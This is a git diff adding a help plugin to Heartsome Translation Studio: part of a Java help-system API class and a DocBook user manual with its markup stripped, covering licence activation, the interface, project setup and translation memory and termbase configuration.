HelpPlugin.getContextManager().getContext(contextId, locale); + } + + /** + * Returns the list of all integrated tables of contents available. Each + * entry corresponds of a different help "book". + * + * @return an array of TOC's + */ + public static IToc[] getTocs() { + return HelpPlugin.getTocManager().getTocs(Platform.getNL()); + } + + /** + * Returns the keyword index available in the help system. + * + * @return the keyword index + * @since 3.2 + */ + public static IIndex getIndex() { + return HelpPlugin.getIndexManager().getIndex(Platform.getNL()); + } + + /** + * Returns an open input stream on the contents of the specified help + * resource in the platform's current locale. The client is responsible for + * closing the stream when finished. + * + * @param href + * the URL (as a string) of the help resource + *

    + * Valid href are as described in + * {@link org.eclipse.help.IHelpResource#getHref IHelpResource.getHref} + *

    + * @return an input stream containing the contents of the help resource, or + * null if the help resource could not be found and + * opened + */ + public static InputStream getHelpContent(String href) { + return getHelpContent(href, Platform.getNL()); + } + + /** + * Returns an open input stream on the contents of the specified help + * resource for the speficied locale. The client is responsible for closing + * the stream when finished. + * + * @param href + * the URL (as a string) of the help resource + *

    + * Valid href are as described in + * {@link org.eclipse.help.IHelpResource#getHref IHelpResource.getHref} + *

    + * @param locale the locale code, e.g. en_US + * @return an input stream containing the contents of the help resource, or + * null if the help resource could not be found and + * opened + * @since 3.0 + */ + public static InputStream getHelpContent(String href, String locale) { + IHelpProvider provider = HelpPlugin.getDefault().getHelpProvider(); + if (provider != null) { + return provider.getHelpContent(href, locale); + } + return null; + } + + /** + * Returns whether or not the help system, in its current mode of operation, + * can be shared by multiple (potentially remote) users. This is a hint to + * the help system implementation that it should not perform operations that + * are specific to the help system's local environment. + * + *

    + * For example, when true, the default dynamic content producer + * implementation will not perform any filtering based on local system + * properties such as operating system or activities. + *

    + *

    + * If you are providing your own help implementation that is shared, you + * must notify the platform on startup by calling setShared(true). + *

    + * + * @return whether or not the help system can be shared by multiple users + * @since 3.2 + */ + public static boolean isShared() { + return fShared; + } + + /** + * Sets whether or not the help system, in its current mode of operation, + * can be shared by multiple (potentially remote) users. This is a hint to + * the help system implementation that it should not perform operations that + * are specific to the help system's local environment. + * + *

    + * By default the help system is flagged as not shared. If you are providing + * your own help implementation that is shared, you must call this on startup + * with the parameter true. + *

    + * + * @param shared whether or not the help system can be shared by multiple users + */ + public static void setShared(boolean shared) { + fShared = shared; + } +} diff --git a/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/en/.cvsignore b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/en/.cvsignore new file mode 100644 index 0000000..c291c09 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/en/.cvsignore @@ -0,0 +1 @@ +images diff --git a/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/en/.gitignore b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/en/.gitignore new file mode 100644 index 0000000..ac5e457 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/en/.gitignore @@ -0,0 +1,4 @@ +/images/ +images +/css/ +css diff --git a/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/en/ts8help_en.xml b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/en/ts8help_en.xml new file mode 100644 index 0000000..2934b56 --- /dev/null +++ b/ts/net.heartsome.cat.ts.ui.help/src/net/heartsome/cat/ts/ui/help/docbook/en/ts8help_en.xml @@ -0,0 +1,8037 @@ + + + + Heartsome Translation Studio Release 8 Help + + + + New Features + + Heartsome Translation Studio Release 8 provides a range of exciting + new features. Some of the major new features are listed below: + + + + All-new integrated interface + + Centralized implementation of the entire workflow from file + preparation to post-translation processing, all within the same + integrated interface. + + + + All-new project management features + + Centralised management of project-related files including source + files, target files, intermediate XLIFF working files, TMX translation + memory exchange files and word-count analysis reports. This enables + systematic management of projects files for improved working and + management efficiency. + + + + Ability to open multiple XLIFF files as a merged + set + + Multiple XLIFF files can be easily combined and opened in one + editing window as if working with a single file. This eliminates the + need to frequently merge or split the files and so achieves a greater + level of freedom and flexibility. + + + + All-new XLIFF editor + + The form-style XLIFF editor enables a full view of the entire + file. Two views available: portrait and landscape. + + + + Integrated interface for translation memory (TM) and + termbase management + + All your TMs and termbases can be managed in one interface, with + all your database server connection history saved + automatically. + + + + More file formats supported + + Heartsome Translation Studio Release 8 supports an additional + range of file formats including MIF files from various versions of + (Adobe FrameMaker 7/8/9/10), Adobe InDesign IDML files, and SDL Trados + XLIFF, Déjà Vu XLIFF files and Wordfast Pro TXML. Also, its converter + has been redeveloped for such files as Microsoft Office 2007/2010 + files, HTML, and SDL Trados TagEditor TTX files, enabling more + accurate extraction of translatable texts into XLIFF and thereby + improving the quality of localisation projects. With improved file + format support in Heartsome Translation Studio, users can easily and + painlessly migrate to Heartsome's working environment. + + + + All-new efficient XML parser + + Significantly speeds up opening and processing of files, and + reduces waiting time leading to greater productivity. + + + + Batch conversion of files + + When converting source files to or from XLIFF, it is possible to + choose a single file to convert or multiple files for batch + conversion. + + + + Innovative machine translation (MT) pre-store + feature + + Supports pre-translation of multiple XLIFF files and can + directly pre-store MT results in XLIFF files: an industry first. + Pre-stored machine translations are similar to TM matches in that they + are used as reference during translation. Users do not have to wait + for web-returned machine translation (MT) or pay for the extra traffic + costs associated with repeated access to MT. + + + + More MT engines supported + + At present, the two MT engines supported are Google Translate + API v2 and Bing Translator, with more options to be supported in the + future. + + + + Visible and text segment based + segmentation + + Text segments can be viewed in the XLIFF editor to help decide + where the file can be further segmented into even smaller pieces. This + means the localisation project may be more easily assigned based on + chapters or sections. + + + + Enhanced quick translation functionality, supporting + replacement of multiple terms + + Enhanced Example Based Machine Translation (EBMT), supporting + replacement of multiple terms all at once from one match. + + + + More flexible QA checks + + Settings can be adjusted to automatically perform certain QA + checks on completed or approved translations, or to manually go + through single or multiple QA checks. This feature caters for users + whose needs and roles may vary. + + + + RTF external proofreading support + + It is now possible to export XLIFF content to RTF files for + external proofreading and then import the updates back into the + XLIFF. + + + + Locking repetitions and translation propagation with + one-click. + + Intelligently identifies and automatically locks repeated text + segments with one-click while keeping the first occurrence unlocked. + This eliminates the need for manual selection and avoids mistakes that + can otherwise be caused by manual operation.Upon completion of + translation, locked segments can be unlocked at any time and the + propagation function can be used to apply the translation to all + repetitions. + + + + Detailed Word Count Statistics + + Statistics can be provided based on text segments or word count, + including internal and external repetitions, fuzzy matches and + equivalent word counts. The data is categorized and clearly displayed, + which facilitates assigning a project based on workload. + + + + License management + + Activation and deactivation of licenses can be performed without + external help. This is highly convenient for users who need to + frequently use different computers (e.g., home desktop or work laptop) + with just one license. + + + + + + Conventions and Glossary + + + + Conventions + + Below are the text styles used in this Help manual: + + + + Button + + + + Icon + + + + Text labels + + + + Menu + + + + Menu items + + + + Submenu + + + + Dialog title + + + + Key name + + + + Emphasis + + + + Quote + + + + File Types + + + + + + Glossary + + Terms and acronyms used in the Help manual: + + + + + + + HSTS + + + Abbreviation of Heartsome Translation Studio. + + + + + CAT + + + Abbreviation of Computer-Assisted Translation, or + Computer-Aided Translation.Heartsome Translation Studio is an + example of a CAT tool. + + + + + Project + + + A translation assignment that involves phased work, or a + series of relevant translation assignments are referred to as a + project in Heartsome Translation Studio.A project consists of at + least three elements, namely: an input (source file), an + intermediate working file (XLIFF) and an output (target file). + There might be auxiliary elements such as a translation memory + (TMX file), a termbase (TBX file) and reports (word count + statistics). + + + + + Source File + + + In a translation project, the source file contains the + content to be translated, and is written in the source language. + The content of the source file is translated into one or more + target languages throughout the project. + + + + + XLIFF Files + + + This is a bilingual file in an open standard localisation + file format. It is the major file format used in Heartsome + Translation Studio and all source files are converted to XLIFF + files.Apart from source content, XLIFF files also contain the + complete translation workflow data, which includes the processing + status of translated text and text segments. This is the output as + translation results and are converted as a target file upon + completion of a project. + + + + + Target file + + + Once the source file has been translated, the target file is + created by converting the bilingual file back into the source file + format, but with translated text instead of the source + text. + + + + + Translation memory + + + A database where source text and the respective translations + are saved. This is abbreviated as TM. + + + + + Termbase + + + A database where source terminology and the respective + translations are saved. + + + + + Databases + + + The collective term for both translation memory and + termbases. + + + + + Database Server + + + A separate hardware/software platform that runs a database + system such as MySQL, PostgreSQL, Oracle, Microsoft SQL Server. + This can be used by HSTS to create TM and termbase + databases. + + + + + TMX files + + + A translation memory exchange file based on the TMX open + standard. When TM segments and their respective translations are + exported to a TMX file, it is possible to import the TM and then + use it across different CAT tools. + + + + + TBX files + + + A termbase exchange file based on the TBX open standard. + When termbase terms and their respective translations are exported + to a TBX file, it is possible to import the termbase and then use + it across different CAT tools. + + + + + Segment + + + A translation unit in an XLIFF file, consisting of the + source text (e.g., a sentence), the translation (can be empty), + notes and the relevant status (draft, translated, etc.). A source + or target text segment is usually a complete sentence, but can be + several sentences or table cell, etc. + + + + + Match rate + + + The similarity of two text segments measured by a percentage + between 0% and 101%. + + + + + Match + + + A text segment in the TM, satisfying specific match rate + criteria. Attributes of a match include the source text, the + translation, match rate, date created, etc. + + + + + Exact Matches + + + A 100% match. + + + + + Context Matches + + + A match where the context (usually based on the previous and + following sentence) also matches, on top of a perfect match (100% + match) of the text segment itself. A context match is defined as a + 101% match. + + + + + Pre-translate + + + Automatic translation utilising matches found in the TM. It + is usually performed prior to manual translation by the + translator.Although lower match rates can be specified, + pre-translation is usually used to apply 100% and 101% matches + from the TM. + + + + + Fuzzy match + + + A match at a lower rate than 100% (not including + 100%). + + + + + Internal + Repetitions + + + A text segment which is repeated two or more times within + one project (within one file or across multiple files). + + + + + Exact Match + Segments + + + A text segment that has a 100% match in the TM. + + + + + Context Match + Segments + + + A text segment that has a context match (101% match) in the + TM. + + + + + Fuzzy Match + Segments + + + A text segment that has a fuzzy match in the TM. + + + + + + + + License + + Procedures for purchasing and using a Heartsome Translation Studio + license include the following: + + + + Overview of the overall process + + Users should follow one of these two license procedures + depending on whether it has been newly purchased or not: + + + + New purchase + + This is the procedure for all users who have purchased a + license for the first time. Please see the chart below for + details. + +
    + Flow chart for a newly purchased license + + + + + + +
    +
    + + + Reactivation + + For users who want to re-install their operating system or + use Heartsome Translation Studio on a different computer, the + following flow chart shows the steps to be followed in order to + reactivate their license. + +
    + Flow chart for reactivating a license due to + re-installation or change of computer + + + + + + +
    +
    +
    +
    + + + How to purchase + + Translation Studio R8 licenses can be purchased online at the + official Heartsome website by following these steps: + + + + Go to www.heartsome.net + and click the Buy Now button. + + + + Enter your name, e-mail, and other optional + information. + + + + Choose the product, version and type you want to buy, and + then enter the quantity you want to buy. + + + + Click Submit Button. when you + confirm the order information is correct, click Via + Paypal button and press corresponding prompt for + payment. + + + + After successful payment, Heartsome will automatically send + the license to the email address you have provided. + + + + + + Activate license + If you are a Windows Vista/7/8 user, right-click + Heartsome Translation Studio.exe or its shortcut, + choose to Run as administrator, and + enter your username and password when prompted to. You + must do this to properly activate your license. + +
    + Run as administrator + + + + + + + + +
    + +
    + Make sure to run as administrator + + + + + + + + +
    +
    + + If there is no activated license found for HSTS, or if the + activated license has expired, the EULA User License Agreement and + License Management dialog will pop up + when HSTS is run. To change a Trial license that has not yet expired + to a Commercial license, you must first deactivate the Trial + license. + +
    + Activation + + + + + + + + +
    + + To immediately start using the software, we recommende you + activate the software through online activation which is full + self-service operation without any manual review or processing, and + can be completed within a few minutes. For offline activation which + only apply to commercial license, One working day may required to + complete due to manual processing. + + I. Online Activation: + + + + In the License Management + dialog, copy the license number from the email and paste it into + the first text field. + +
    + Enter serial number + + + + + + + + +
    +
    + + + Check that you are connected to the Internet. If you connect + to Internet through a proxy server, click Network + Connections button to open the setting interface as + follows: + +
    + Options: Network Connections + + + + + + + + +
    + + Set up a proxy server according to your actual + situation: + + + + If a proxy server has been configured in your operating + system, Please select it as + “Nativeâ€. + + + + If you want to set up a proxy server specifically for + HSTS, Please select “Manualâ€ï¼Œthen + double-click proxy server type (HTTP, + HTTPS or SOCKS) for configuration in + proxy server list, then enter the proxy + server's host address, + port and optional + username and password + depend on whether your proxy server + requires authentication. + +
    + Options: Network Connections – Manual + + + + + + + + +
    + + In addition, you can add some exceptional host address, + to which you access directly without proxy server, for custom + proxy. The exceptional circumstances usually apply to the + local host (localhost, 127.0.0.1) and local area network + (192.168. *. *) address. + +
    + Options: Network Connection - Bypass host + address + + + + + + + + +
    +
    + + + If you want to disable the proxy server, Please select + the configuration for direct + connection. + +
    + + After configured a proxy server, click + theOK button to return to the + License Managementdialog + box. +
    + + + Click the Activate button. + +
    + Activate your license via Internet + + + + + + + + +
    +
    + + + If no exceptions occurred, you will be prompted to activate + your license successfully. When you re-open the + License Management dialog box, the + license status has changed to be + activated. + +
    + + II. Offline activation + + Before perform the offline activation, make sure you have + purchased a commercial license instead of trial license. Take the + following four steps to complete the offline activation: + + + + Enter serial number + + Enter commercial license serial number + you have purchased as shown in the following figure. Click + Next button. + +
    + Offline activation: enter serial number + + + + + + + + +
    +
    + + + Obtain the activation code + + The following figure shows the activation code generated by + the software. You need to copy it to the e-mail or a text file, + then send it to licensing@heartsome.net. The rest + leaves to Heartsome. After this, you can exit from the + software. + +
    + Offline activation: Obtain the activation code + + + + + + + + +
    +
    + + + Obtain an license file + + Once received your activation code, Heartsome will send you + license file (the file name is "your serial + number.lic") as an attachment to your e-mail address. When + you get the email sent by Heartsome, you can save the license file + to your local hard disk, and then repeat the above two steps, and + click the Next button on the + interface. + + If you want to activate multiple licenses one-time through + offline activation, you can put all activation codes in Excel file + (.xls) starting from very first column of + Excel spreadsheet, each line only put one activation + code. To facilitate the identification and management + of multiple licenses, you can add more information, such as serial + number, user name or computer name, in the second and third + column, but only the activation code in the first column is + required. + + + + To complete the activation + + Click Browse button and select + received .lic file, then click + Activate button. + +
    + Offline activation: complete the activation + + + + + + + + +
    + + if no exception happens, it will prompt that the software + has been successfully activated. +
    +
    +
    + + + Deactivating a license + + You need to first deactivate your license in one of the + following situations: + + + + You want to change the current Trial license + to a purchased Commercial license. + + + + You want to reinstall your operating system. + + + + You want to move the current license to a different + computer. + + + + Follow these steps to deactivate your license: + + + + Run HSTS (Windows Vista/7/8 users still need to run it as + administrator), click on the Help menu > + License Management; + +
    + License management + + + + + + + + +
    +
    + + + Make sure to connect the network. To set up a proxy server, + please refer to the previous section; + + + + After License Status, click the + Deactivate button and confirm. + +
    + Check for deactivation + + + + + + + + +
    +
    + + + Once the operation has finished, the software will + automatically restart. After it has restarted, the + License Status changes to No License. + +
    +
    +
    +
    + + + Overview of the interfaces + + + Main interface + + Heartsome Translation Studio's main interface is shown + below: + +
    + Heartsome Translation Studio's main interface + + + + + + + + +
    + + HSTS's interface is divided into the following sections: + + + + Main menu + + This is where you can access all features and commands. + +
    + Main menu + + + + + + + + +
    +
    + + + Toolbar + + The toolbar provides most of + the common commands. When you put the mouse over each icon, you can + see its corresponding function and shortcut keys. + +
    + Toolbar + + + + + + + + +
    +
    + + + View + + Different views offer different + features. See the next section for + details. + + + + XLIFF Editor + + All text entry and editing is done in the XLIFF + editor. See for + details. + + + + Status Bar + + Status Bar Shows the basic + information about current file and text segment, as well as progress + on file handling. If task is being executed in the background, the + status bar will also display corresponding progress + information.
    + Status Bar + + + + + + + + +
    For the content cannot be displayed completely due to the + limited screen area, you can put the mouse over it for + tooltip.
    + +
    + Status bar tooltip + + + + + + + + +
    + + + + Current file + + This is the XLIFF file currently open in the editor, shown + as a path, where the first level of the directory is the + project. + + + + No. + + Ordinal number of each text segment + + + + Visible segments + + The number of text segments displayed after filtering + based on the text segment filter rule + + + + Totals + + Total number of text segments in the currently open XLIFF + file(s). If it is an individual XLIFF file, this is the number + of text segments contained in that XLIFF file; if multiple XLIFF + files have been opened as a file set, then this is the total + number of text segments contained in all of the XLIFF files + combined. + + + + Username + + This is the Username set in + Tools menu > + Options > + System, and will display by default the + same username that was used to log in to the operating + system. + + + + Translation Progress + + The percentage of text segments with the status + Translated, relative to the total number of text + segments + + + + Approval Progress + + The percentage of text segments with the status + Approved and Signed-off, relative + to the total number of text segments. + + +
    +
    +
    + + + View + + Windows and viewers in HSTS can be displayed like a normal + floating dialog box. Users can also dock or tile them in the main + interface, change their size and position, maximise or minimise them, or + stack them on top of each other. There are many different ways windows + can be displayed so users can customize their own interface + layout. + + Windows also have such features as toolbars, right-click context + menus and status menus, making it easier for users to use common + features. + + + Learn about the different window components + + The view window components currently provided by HSTS include + Project, Translation Memory, Terms, QA Check Results and an XLIFF + editor, which is similar to a view. These are detailed below. + + + Project + + The Project window provides + features for managing projects, project folders and files. These + features are mainly performed using drag-and-drop and with + right-click menus. + +
    + Project + + + + + + + + +
    +
    + + + Translation Memory + + Translation Memory View used to + display current segment’s matches obtaining from translation memory + automatically, as well as the matches of rapid translation and + machine translation. You can apply these matches directly to the + target. + +
    + Translation Memory + + + + + + + + +
    +
    + + + Termbase + + Termbase view automatically + display current segment’s all term matches obtaining from termbase. + These term matches can be easily inserted into the target. + +
    + Termbase + + + + + + + + +
    + + + Go to Tools menu > + Options > + System to set font for TM and Termbase + matches. + +
    + + + QA Results + + QA Results view lists all QA + results. You can click any link to go to the potentially erroneous + segment. + +
    + QA Results + + + + + + + + +
    +
    +
    + + + Using windows + + + Display/hide windows + + Select/deselect windows in the View menu to display/hide them. + From the View menu, you can also display/hide the toolbar and status + bar. + + For a window that is already displayed, you can also close it + (i.e. hide it) by clicking the button + + + + to the right of the window title. + + + + Change window size + + Place the cursor on the window border. When the cursor turns + into + + + + or + + + + , press the left mouse button and drag. Now + you can change the width or height of the window. + + + + Minimise or maximise windows + + By clicking the + + + + button in the upper right corner of the + window you can minimise or maximise it. You can also switch between + maximised and regular size by double-clicking the title bar. + + + + Change window position + + On the window title bar, click the left mouse button and drag + to a different position. A dotted line frame appears indicating the + new position of the window. + + +
    + + + XLIFF Editor + + The XLIFF editor is the most common + UI component in HSTS, and all operations to source and target text are + performed in this editor. + + Operations such as changing the editor size, maximising or + minimising the editor, and dragging it to a different position are + similar to the operations with other windows. For more details, please + see above section. + +
    + XLIFF Editor + + + + + + + + +
    + + Have two layout, the above picture is the horizontal + layout , and the following picture is the vertical + layout . You can switch between the two layout. + +
    + XLIFF editor: vertical layout + + + + + + + + +
    + + You can sort segments on source, target etc. by clicking XLIFF + editor column top. There are four possible icons in the Status column, + indicating: + + + + Segment Status + + There are six progress status of the segment in the + translation process, indicating: + + + + Untranslated + + The default status is when there no translation has been + entered. + + + + Draft + + The default status after a translation has been added or + edited. + + + + Translated + + The status after the Confirm + Translation operation has been performed. The + segment will be saved in the memory after this operation. This + operation is usually performed by the translator. + + + + Approved + + The status after the Approved + operation has been performed. The segment will be saved in the + memory after this operation. This operation is usually performed + by the person who edits/proofreads the translation. + + + + Signed-off + + The status after the Signed-off + operation has been performed. This indicates that the + translation of the segment has been approved and + finalized. + + + + Locked + + The status following locking + segments. Locking segments can prevent accidental + modification to the contents, such as segments that do not + require translating. When a segment is locked, it is temporarily + impossible to see its progress status before it is locked. Once + the segment is unlocked, it will automatically return to that + status. + + + + + + Not Sent to TM + + The status after a segment is flagged as Not Sent + to TM. All segments are added to the TM by default, so + you can use this flag to prevent certain text from being added to + the TM. + + + + Pending + + The status after a segment is flagged as + Pending. This flag can be used when in + doubt about the source or translated text in a particular segment + and need further clarification. These flags make it easier to filter + and deal with these segments at a later stage. + + + + Segments with Comments + + A segment with comments is + displayed with this icon. + + + + + Go toTools menu > + Options > + System to set font for editor. + +
    +
    + + + Workflow + + The Heartsome Translation Studio translation workflow is as + follows: + +
    + Translation Workflow for Heartsome Translation Studio + Projects + + + + + + +
    + + + Project Preparation + + Before starting work on a translation project using Heartsome + Translation Studio, users need to complete some preparation work outside + HSTS as described below. + + + Source File + + In a translation project, the source file to be translated + usually comes in particular defined style settings, such as font, + size, colour, and paragraph layout, etc. When a CAT tool is used to + process such files, it needs to extract the specific text that + requires translation so that the translator will be able to focus on + the text without being distracted by the style settings. + + Clients typically provide one of these two types of files: an + original source file that has not been converted, or one that has been + converted from a source file into a bilingual document. If their of + the latter type, they need to be in SDL Trados, Déjà Vu, Wordfast Pro + and MemoQ bilingual file formats. + + Heartsome Translation Studio supports source files in the + following formats: + + + + .docx, .xlsx, + .pptx + + Microsoft Office files + + + + .docx, .xlsx, + .pptx + + Microsoft Office 97--2004 files + + + + .html, .htm + + Web files + + + + .idml + + Adobe InDesign tags + + + + .inx + + Adobe InDesign interchange files + + + + .js + + JavaScript scripts + + + + .mif + + Adobe FrameMaker interchange format + + + + .odt, .ods, .odp, + .odg + + OpenOffice files + + + + .po + + GNU gettext portable objects + + + + .properties + + Java resource files + + + + .rc + + Windows C/C++ resource files + + + + .resx + + Windows .NET resource files + + + + .rtf + + Rich Text Format + + + + .rtf + + SDL Trados bilingual RTF files + + + + .txt + + Text files + + + + .xml + + XML files + + + + HSTS supports the following bilingual file formats: + + + + .mqxlz + + MemoQ 6.x files + + + + .sdlxliff + + SDL Trados XLIFF files + + + + .ttx + + SDL Trados TagEditor TRADOStag bilingual files + + + + .txml + + Wordfast Pro TXML bilingual file + + + + .xlf + + Déjà Vu XLIFF files + + + + HSTS can also directly open the following file formats: + + + + .hsxliff + + Heartsome Translation Studio R8 XLIFF files + + + + .xlf, .xliff + + Standard XLIFF files + + + If the XLIFF file was not generated by HSTS R8, some + features of HSTS R8 may not be available. It is recommended that + HSTS be used to open only XLIFF files (with + .hsxliff extension) that were created with the same + version of the program. + + + + + If your source file is in none of the formats listed above, you + may need to convert it first or process the files manually before + beginning to translate with HSTS. For any project, you will need + source files in any one or any combination of the formats listed + above, and source files in their original formats are + recommended over bilingual files. + + When there is a large number of source files within a particular + directory structure, users do not have to manually move files or + change the save path. HSTS is able to process such source files so + that the fixed directory structure is maintained. Convenient batch + operations are also available. + + + + TMX files + + + Optional + + + If you have or are provided with a TMX file, it must be properly + prepared prior to creating a project so that the file can be imported + to the translation memory of the new project. TMX files imported into + HSTS should be encoded in UTF-8 in order for them to be recognised + correctly. + + + + TBX files + + + Optional + + + If you have or are provided with a TBX file, it must be properly + prepared prior to creating a project so that the file can be imported + to the termbase of the new project.TMX files imported into HSTS should + be encoded in UTF-8 in order for them to be recognised + correctly. + + + + Database Server + + + Optional + + + HSTS Personal and higher editions provide a built-in file based + database that can be used to create translation memories and + termbases, while Professional and Ultimate editions provide additional + support for external databases.Using an external database server not + only brings a better database experience but also enables teamwork and + collaboration by allowing all team members to share TMs and termbases + over the network. + + HSTS currently support four types of external database + server: + + + + MySQL + + Free, open source, and cross-platform, supports Windows, Mac + OS, and Linux. Website: www.mysql.com + + + + PostgreSQL + + Free, open source, and cross-platform, supports Windows, Mac + OS, and Linux. Website: www.postgresql.org + + + + Microsoft SQL Server + + Business software, supports Windows only. Website: www.microsoft.com/sqlserver + + + + Oracle + + Business software, supports Windows and Linux. Website: + www.oracle.com + + + + To use any of these external databases in HSTS for TMs or + termbases, users must first download and install the respective + database server software (native or specified server) on their + computers, and then create a database user with the authority to + create a database. A password should also be created for this user. + Please refer to official documents provided by the websites listed + above for detailed steps on installation and configuration. + + Apart from installing and configuring one of these databases as + a TM or termbase server, you may also choose to use cloud databases, + such as Amazon RDS or ClearDB. Please visit the respective website for + details about these products. + + + + + Creating projects + + HSTS provides an easy-to-use wizard to guide users in creating + projects. From the File menu or the + Project view 's context + menu, click New > + Project and the + New Project will be opened. + +
    + Create a project from Main menu + + + + + + + + +
    + +
    + Create a project from Toolbar + + + + + + + + +
    + +
    + Create a project from Context menu + + + + + + + + +
    + + + All information in the New Project can be modified or added + after the project is created. Therefore, you will always have the + chance to change a setting later if you skip any step. + + + The entire New Project involves five steps as follows: + + + Project Information + +
    + Create new project: project information + + + + + + + + +
    + + By default, the name you enter in Project + Name will be used as the project's basic information.If you + need to specify additional properties for the project, you can click + the Options button and add custom attribute + information to the project: + + + + Text Field + + Specify the field name. + + + + Attribute Field + + Set the field name, and specify its value. + + + +
    + Options: Project Properties + + + + + + + + +
    + + Custom project properties added to the project information will + be saved to the translation memory as additional information for each + segment. +
    + + + Language Pairs + +
    + Create new project: language pairs + + + + + + + + +
    + + The languages that you will be translating from and to, namely, + the: + + + + Source Language + + + + Target Languages + + + + While source language can only be one + language there can be multiple target languages. + If the source language or target + language of your project is not included in the list you + can go to Tools menu > + Options > Language + Management and add it. + +
    + Options: Language Management + + + + + + + + +
    +
    + + + Translation Memory + + + You can skip this step if you want to create a project + quickly. + + + To specify the TMs to be used by the project, you can: + +
    + Create new project: TM + + + + + + + + +
    + + + + Add + + Add an existing TM + + + + Create + + Open New Translation Memory Wizard and create a new TMFor + specific steps, see below. + + + + Remove + + This will remove the selected TM from the current project + without deleting the actual TM or any data within it.This + operation simply means that this TM is not to be used in this + project. + + + + Import TMX + + Import a TMX file into the selected TM. + + + + Set as the default Termbase + + By default, the first TM added to the project will be + automatically set as the default TM (i.e. read-write). Any others + will be read-only.When multiple TMs are added, you can use the + Default check boxes in the TM list to choose one of them as the + default TM. + + +
    + + + Termbase + + + This step is optional. + + +
    + Create new project: Termbase + + + + + + + + +
    + + Similar to the TM step, this step is used to specify and manage + the termbases to be used for the project: + + + + Add + + Add an existing termbase + + + + Create + + Open New Termbase Wizard and create a new termbase.For + specific steps, see below. + + + + Remove + + This will remove the selected termbase from the current + project without deleting the actual termbase or any data within + it.This operation simply means that this termbase is not to be + used in this project. + + + + Import TBX + + Import a TBX file into the selected termbase. + + + + Set as the default Termbase + + By default, the first termbase added to the project will be + automatically set as the default termbase (i.e. read-write). Any + others will be read-only.When multiple termbases are added, you + can use the Default check boxes in the termbase list to choose one + of them as the default termbase. + + +
    + + + Source File + + + This step is optional. + + +
    + Create new project: Add source files + + + + + + + + +
    + + The last step in creating a project is adding a source file or + files to the project. This is how: + + + + Add + + Choose the source file and add it to the project. + + + + Remove + + This will remove a source file from the project. + + + + Convert Source Files to XLIFFs + + This will convert the source file to XLIFF once the project + has been created. + + + + Source files added here are ones without a particular folder + structure. To add source files with a particular folder structure, + skip this step and add files to the project using drag-and-drop after + the project has been created. See details here. + + When a new project is created, some predefined folders will be + automatically generated. What they do: + +
    + Project folders + + + + + + + + +
    + + + + Intermediate + + This folder is where process documentation for project + processing is saved. These two sub-folders are created by + default: + + + + Report + + In this folder, report files (.html) are saved, which + are generated upon completion of word count analysis, + translation or editing progress analysis. + + + + SKL + + In this folder, skeleton files are saved, which are + generated upon conversion of source files into XLIFF files. + Skeleton files are needed during conversion of XLIFF into + target files. + + + + + + Source + + The source files to be translated are saved in this folder. + We recommend keeping the original folder structure as is. + + + + Target + + The target files that have been translated are saved in this + folder. The first sub-folder under this folder will be the + language code of the target language, and the folder structure of + the source files will be inside that. + + + + XLIFF + + The XLIFF files are saved in this folder. Again, the first + sub-folder will be the language code of the target language and + the folder structure of the source files will be inside this + folder. + + +
    +
    + + + Prepare before translating + + Before proceeding with translation, you should properly prepare + the project to help you work efficiently: + + + New Translation Memory Wizard + + It is recommended that TMs are always used for translation + projects in order to make full use of CAT tool features. If no TM was + created or added during project creation, it can be done after the + project has been created, by going to the File menu + or context menu > New > + Translation Memory to open + New Translation Memory Wizard. + + + TM basic information + +
    + Create a new TM: TM information + + + + + + + + +
    + + In the first step of the Create A New TM wizard, you need to + choose the type of TM to be created. Different database types + require different basic information to be entered. The differences + are detailed as follows: + + + Internal DB + + + + Path + + The path where the TM will be saved. + + + + Name + + Name of the TM. + + + + + + MS SQL Server + + + To get the following information, you might need to ask + relevant IT personnel for assistance or refer to the user + documentation for the respective database server + software. + + + + + Address + + The MS SQL Server's host name, domain name, or IP + address. + + + + Port + + The MS SQL Server port, which is 1433 by default. + + + + Username + + The username required to access the MS SQL Server. + Authority for creating a database needs to be granted to this + user. + + + + Password + + The password for the respective user. + + + + Name + + Name of the TM. + + + + + + MySQL + + + + Address + + The MySQL Server's host name, domain name, or IP + address. + + + + Port + + The MySQL Server port, which is 3306 by default. + + + + Username + + The username required to access the MySQL Server. + Authority for creating a database needs to be granted to this + user. + + + + Password + + The password for the respective user. + + + + Name + + Name of the TM. + + + + + + Oracle + + + + Address + + The Oracle Server's host name, domain name, or IP + address. + + + + Port + + The Oracle Server port, which is 1521 by default. + + + + Instance + + An Oracle database instance. + + + + Username + + The username required to access the MySQL Server. + Authority for creating a database needs to be granted to this + user. + + + + Password + + The password for the respective user. + + + + Name + + Name of the TM. + + + + + + PostgreSQL + + + + Address + + The PostgreSQL Server's host name, domain name, or IP + address. + + + + Port + + The PostgreSQL Server port, which is 5432 by + default. + + + + Username + + The username required to access the MySQL Server. + Authority for creating a database needs to be granted to this + user. + + + + Password + + The password for the respective user. + + + + Name + + Name of the TM. + + + + + For each type of database above, users are allowed to + create multiple TMs/termbases on one server (path, server + + port, server + port + instance). + + +
    + + + Import TMX files + +
    + Create new TM: Import TMX file + + + + + + + + +
    + + In the second step of the Create A New TM wizard, you may + choose to import a TMX file into the newly created TM. + + By clicking the Options button, you can + also define how duplicate entries will be handled. + +
    + Options: TM - duplicate entries processing + + + + + + + + +
    + + + + Duplicate entries processing + + + + Add + + Offering the fastest import speed, this is the best + option when there are no duplicate entries between the + existing TM and the TMX being imported, or when all + duplicates need to be retained. + + + + Overwrite + + Offering a slower import speed, this is the best + option when the TMX being imported contains more up-to-date + content than the existing TM. + + + + Ignore + + Offering a moderate import speed, this is the best + option when the existing TM contains more up-to-date content + than the TMX being imported. + + + + +
    +
    + + + New Terbase Wizard + + + Termbase basic information + +
    + Create new termbase: Basic information + + + + + + + + +
    + + Similar to the procedure of creating a new TM, the first step + in the Create A New Termbase wizard is choosing from the different + types of termbase. For details about the information required for + each database type, please see . +
    + + + Import TBX files + +
    + Create new termbase: Import TBX file + + + + + + + + +
